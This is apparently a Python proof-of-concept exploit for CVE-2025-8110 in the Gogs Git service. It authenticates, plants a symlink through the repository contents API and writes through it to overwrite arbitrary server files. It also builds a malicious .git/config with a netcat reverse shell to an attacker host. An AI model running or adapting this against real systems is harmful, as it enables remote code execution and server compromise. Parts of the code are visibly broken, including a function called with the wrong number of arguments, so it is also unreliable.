#!/usr/bin/env python3
"""
CVE-2025-8110 Gogs Symlink Bypass RCE PoC
Author: Ash Wesker ==> TH3 M45T3RM1ND !!!
Github : https://github.com/Ashwesker/Blackash-CVE-2025-8110/
Usage: python3 cve-2025-8110.py -u http://target.com -U user -P pass -r repo
"""

import argparse
import requests
import base64
import json
import os
from urllib.parse import quote

def get_auth_token(session, base_url, username, password):
    """Authenticate and retrieve CSRF token + session cookie."""
    login_url = f"{base_url}/user/login"
    session.get(login_url)  # Get CSRF token from form
    
    # Extract _csrf from response (simplified; parse HTML in production)
    login_data = {
        "user_name": username,
        "password": password,
        "_csrf": session.cookies.get('_csrf', '')  # Adjust based on actual form
    }
    resp = session.post(login_url, data=login_data)
    if "user/login" in resp.url:
        raise ValueError("Authentication failed")
    print("[+] Authenticated successfully")
    return session.cookies

def create_symlink(session, base_url, repo, symlink_path, target_path):
    """Step 1: Create a symlink file in repo pointing to target."""
    api_url = f"{base_url}/api/v1/repos/{repo}/contents/{symlink_path}"
    symlink_content = base64.b64encode(target_path.encode()).decode()  # Symlink format in Git
    data = {
        "message": "Create symlink",
        "content": symlink_content,
        "branch": "main"
    }
    resp = session.put(api_url, json=data)
    if resp.status_code != 201:
        raise ValueError(f"Failed to create symlink: {resp.text}")
    print(f"[+] Symlink created: {symlink_path} -> {target_path}")

def overwrite_via_symlink(session, base_url, repo, symlink_path, payload):
    """Step 2: 'Update' the symlink to overwrite target with payload."""
    api_url = f"{base_url}/api/v1/repos/{repo}/contents/{symlink_path}"
    payload_b64 = base64.b64encode(payload.encode()).decode()
    data = {
        "message": "Overwrite via symlink",
        "content": payload_b64,
        "branch": "main",
        "sha": ""  # Bypass by not providing SHA for new 'content'
    }
    resp = session.put(api_url, json=data)
    if resp.status_code not in [200, 201]:
        raise ValueError(f"Overwrite failed: {resp.text}")
    print("[+] Target file overwritten successfully")

def rce_ssh_config(base_url, lhost, lport):
    """Generate malicious .git/config payload for SSH RCE."""
    payload = f"""
[core]
    sshCommand = ssh -o ProxyCommand="nc {lhost} {lport} -e /bin/sh"
"""
    return payload.strip()

def main():
    parser = argparse.ArgumentParser(description="CVE-2025-8110 PoC")
    parser.add_argument("-u", "--url", required=True, help="Gogs base URL")
    parser.add_argument("-U", "--username", required=True)
    parser.add_argument("-P", "--password", required=True)
    parser.add_argument("-r", "--repo", required=True, help="Repo path (owner/repo)")
    parser.add_argument("-t", "--target", default="/tmp/pwned", help="Target file path")
    parser.add_argument("--payload", default="echo 'pwned' > /tmp/pwned", help="Custom payload")
    parser.add_argument("--lhost", default="attacker.com", help="LHOST for reverse shell")
    parser.add_argument("--lport", type=int, default=4444, help="LPORT")
    args = parser.parse_args()

    session = requests.Session()
    session.headers.update({"Content-Type": "application/json"})

    try:
        cookies = get_auth_token(session, args.url, args.username, args.password)
        
        symlink_name = "../pwned_symlink"  # Arbitrary name in repo
        create_symlink(session, args.url, args.repo, symlink_name, args.target)
        
        # For RCE demo, override payload if targeting .git/config
        if "/.git/config" in args.target:
            args.payload = rce_ssh_config(args.lhost, args.lport)
        
        overwrite_via_symlink(session, args.url, args.repo, symlink_name, args.payload)
        
        print(f"[+] Exploit complete! Check {args.target} for payload.")
        print("[*] For RCE: Trigger a git pull/clone as the gogs user to execute via SSH.")
        
    except Exception as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    main()
